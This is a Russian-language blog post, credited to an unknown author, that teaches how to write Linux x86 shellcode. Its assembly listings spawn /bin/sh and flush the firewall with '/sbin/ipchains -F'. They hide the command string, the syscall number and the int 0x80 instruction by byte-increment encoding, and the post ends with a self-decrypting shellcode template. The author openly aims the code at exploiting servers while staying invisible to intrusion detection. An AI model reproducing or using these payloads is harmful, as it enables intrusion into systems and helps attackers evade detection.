J3qx

Просто еще один WordPress.com блог

.. Еще несколько слов о шеллкоде(Linux)

Опубликовал j3qx на Январь 8, 2009

 

.. Еще несколько слов о шеллкоде(Linux)

//dev0idВведение

В данной статье я постараюсь изложить все самое интересное и нужное из того, что касается написания шеллкода под линукс. Материал является доработкой предыдущих статей на данную тему, плюс ко всему, весомым дополнением. Я не буду описывать и рассказывать для чего нужен сам шеллкод; я не буду приводить примеров, которые можно найти в зарубежных изданиях, я не буду описывать и рассказывать для чего нужен сам шеллкод. Я расскажу, как написать грамотный код на ассемблере, который будет прост в понимании и невидим для IDS.

Начало

Шеллкодов в инете много, много и инструкций по их написанию. Мало документации он написании качественного кода: полиморфного, самошифрующегося. Большинство программ – переделки уже существующих. Авторы, порой, даже не могут объяснить, почему они написали эти или те строчки кода. Я постараюсь досконально расписать все примеры и описать все возможные методы реализации.
Сразу хочу дать несколько ссылок на русскоязычные документы, которые могут вас заинтересовать:
www.nerf.ru - о написании шеллкода под BSD-системы.
www.dwcgr0up.com - неплохой перевод статей на тему эксплоитов и шеллкодов, который поможет вам понять, для чего все это надо.

Пример первый – он нужный самый

Если вы пишите свой шеллкод, то, скорее всего это код вызова /bin/sh. В своем роде это как «Hello, World!», и у многих авторов в этом шеллкоде есть свои ошибки и новаторские идеи.

В линуксе все аргументы передаются через регистры, как в dos’e. Для вызова системной функции используется регистр eax. Сама программа, в частности шеллкод, должна распологаться в одном сегменте. Теперь вопрос: каким образом мы можем получить адрес строки /bin/sh, которая находится в одном сегменте с программным кодом? Есть несколько путей решения данной проблемы:

1. Использовать метод вызова команды call.

Это самый часто используемый метод, так как он прост и короче. Call используется для вызова процедур, единственным аргументом которых, в общем случае, может быть имя процедуры. Имя процедуры – это метка в памяти. При вызове любой процедуры, с стэк записывается следующий после этой команды адрес – это адрес возврата, куда по окончанию выполнения процедуры вернется программа. Таким образом, мы может использовать call с меткой, после которой будет расположена наша строка. В этом случае мы получим адрес нашей строки.

2. Использовать $ для определения текущего адреса памяти в данном сегменте.

В данном случае мы можем сделать так: 

Код:
------------code------------
movesi,$+4
jmpmain
db'/bin/sh#AAAABBBBB'
main:
------------code------------

Теперь, обратите внимание на продолжение строчки: #AAAABBBB – эта необходимость заключается в том, что сюда мы будем помещать адрес всей структуры + адрес окружения, необходимые для исполнения execve(); # – для окончания строки /bin/sh. Основная проблема в том, что $ – значение командной адреса и значение это подставляет компилятор при сборке программы, следовательно, в шеллкоде этот метод не совсем рабочий =(, но зато, как прием программирования – неплохой маневр.

Я заметил, что многие используют такую конструкцию в варианте получения адреса строки в первом случае. Вот мой пример: 

Код:
------------------------------
BITS32
jmp shortpath
main:
popesi
xoreax,eax
mov[esi+7],al
leaebx,[esi]
mov[esi+8],ebx
mov[esi+12],eax
moval,0x0b
movebx,esi
leaecx,[esi+8]
leaedx,[esi+12]
int0x80
path:
callmain
db'/bin/sh'
------------------------------

В моем случае мы уменьшаем код, как минимум на 9 байт. Если задуматься, то с точки зрения безопасного программирования здесь есть ошибка – мы затрем все, что у нас идет в сегменте кода, за строчкой /bin/sh, но согласитесь, что сам шеллкод подразумевает всего-навсего выполнение команд на сервере, а не сохранение каких-то частей кода, до которых, кстати, программа не дойдет, ибо:

1. У нас выполняется наша оболочка, которая остановит выполнение эксплуатируемой программы.
2. В любом случае – это переполнение буфера, значит мы уже вышла за пределы буфера и уже затерли какие-то данные в сегменте.

В слуаче второго способа получения адреса строки, нам просто необходимы эти заветные символы, ибо без них мы затрем нашу программу в сегменте и прыгать уже будет некуда.

Методы избежания ошибок при написании программы
Это самый короткий абзац. О null-bytes и прочих ошибках все уже все знают, так что совет один, не писать в программе напрямую данные содержащие нули (я имею ввиду не одинокие нули, а именно идущие друг за другом). Также следует использовать не только 32х и 16-разрадные регистры, но и 8и. Стоит всегда помнить, что при передаче 32х или 16-разрядному регистру данных заведомо меньших его разрядности, компилятор их расширяет нулями. То есть, если вы в регистр eax посылаете цифру 1, то опкод этой команды будет содержать целых три пары нулей, что для шеллкода неприемлемо. При возникновении ошибок, следует обращаться к дизассемблеру или переводить код вручную, для анализа.

Написание граммотного кода

При эксплуатировании какой-либо программы на сервере, стоит знать наверняка, как программа обрабатывает посылаемый ей буфер. Дело в том, что программа заранее может быть написана так, что она никогда не пропустит строчку /bin/sh или вес, что начинается на / и т.п. В этом случае никогда не помешает страховка, как насчет простенькой шифрации строчки /bin/sh или той, которую вы собираетесь использовать (в моем примере это будет /sbin/ipchains -F): 

Код:
--------------------------------------
BITS32
jmpshort callme
main:
popesi
movcx,0x10
mainloop:
incbyte [esi+ecx]
loopcx
decbyte [esi+ecx]
mov[esi+14],al
mov[esi+17],al
mov[esi+18],esi
leaebx,[esi]
mov[esi+22],ebx
mov[esi+26],eax
moval,0x0b
movebx,esi
leaecx,[esi+18]
leaedx,[esi+26]
int0x80
callme:
callmain
db'0tcjo0jqdibj0t#.E'
--------------------------------------

Я намеренно не вставляю в код системной функции exit(), дабы сократить сам код. Согласитесь, что после завершения вашей программы, эксплуатируемая программа в любом случае завершит свою деятельность, так что, это вам выбирать, аварийно (с возможной записью в лог) или нет (при использовании вышеупомянутой системной фукнции). Вы заметили эту странную строчку: db ‘0tcjo0jqdibj0t#.E’? Это ничто иное как «/sbin/ipchains -F», которую я вызываю в своем коде, правда несколько в модифицированном виде. Дело в том, что каждый байт этой строчки инкрементирован. Это не даст IDS заподозрить неладное. При выполнении шеллкода эта строчка модифицируется, принимая необходимый вид. Данный метод можно использовать как в удаленных эксплоитах, так и в локальных, при условии, что программа имеет некую фильтрацию входного буфера (редко, но возможно).
Также стоит отметить, что IDS могут засечь попытку взлома не только через подозрительные строчки типа /bin/sh, но и через вызов определенных системных функций, что более вероятно. В этом случае можно изменить код программы следующим образом: 

Код:
--------------------------------------
BITS32
jmpshort callme
main:
popesi
movcx,0x10
mainloop:
incbyte [esi+ecx]
loopcx
decbyte [esi+ecx]
mov[esi+14],al
mov[esi+17],al
mov[esi+18],esi
leaebx,[esi]
mov[esi+22],ebx
mov[esi+26],eax
movbl,0xff
subbl,0xf4
moval,bl
movebx,esi
leaecx,[esi+18]
leaedx,[esi+26]
decbyte $+5
db0ceh,21h
callme:
callmain
db'0tcjo0jqdibj0t#.E'
--------------------------------------

В данном примере мы не только скрываем номер системного вызова, но и скрываем команду int. Остается один вопрос: как нам получить адрес, на который должен указывать $ в текущем сегменте кода, если мы подставим программу после компиляции в эксплоит? На данный вопрос будет искать ответ.

Выход как всегда прост, мы используем метод call’a, как и вслучае с адресом строки: 

Код:
--------------------------------------
BITS32
jmpshort callme
main:
popesi
movcx,0x10
mainloop:
incbyte [esi+ecx]
loopcx
decbyte [esi+ecx]
mov[esi+14],al
mov[esi+17],al
mov[esi+18],esi
leaebx,[esi]
mov[esi+22],ebx
mov[esi+26],eax
movbl,0xff
subbl,0xf4
moval,bl
movebx,esi
leaecx,[esi+18]
leaedx,[esi+26]
jmpshort encript
inter:
popesi
decbyte[esi]
pushesi
ret
encript:
callinter
db0xce
db0x80
callme:
callmain
db'0tcjo0jqdibj0t#.E'
--------------------------------------

Йо! Так его! Можно поставить расшифровщик в самом начале программы, тем самым мы сможем расшифровывать хоть весь шеллкод. Вот вам шаблон, подставив нужные вам значения в него, вы получите рабочий саморасшифровывающийся шеллкод: 

Код:
--------------------------------------------------
BITS32
movecx,LENGTHS_OF_ENCODED_SHELLCODE
jmpshortencoded
main_decript:
popesi
loop_decr:
dec byte [esi+ecx]
looploop_decr
dec byte [esi]
pushesi
ret
encoded:
callmain_decript
db INCLUDE_ENCODED_SHELLCODE
--------------------------------------------------

Рассмотрим алгоритм: в ecx помещаем длинну зашифрованного шеллкоад. Получаем адрес шеллкода, начинаем расшифровывать. Конечно, сложно назвать шифрованием инкремент/декремент каждого из байтов массива, но всеж, это всего-навсего пример. Вы можете изменить алгоритм, но, замечу – чем он будет сложнее, тем больше будет сам код.

Далее мы запускаем цикл, в котором начинаем декремент каждого из байт шеллкода (подразумевается, что сам шеллкод зашифрован инкрементом, причем он не содержит нульбайтов, так что следует выбрать нужный алгоритм). После всего этого мы сохраняем обратно в стэк адрес возврата и помещаем инструкцию ret, символизирующую об окончании процедуры, и выполнающую возврат в основную программу, а это уже будет наш расшифрованный шеллкод. 

(C) unknown

Ответить

XHTML: Вы можете использовать эти метки: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <pre> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>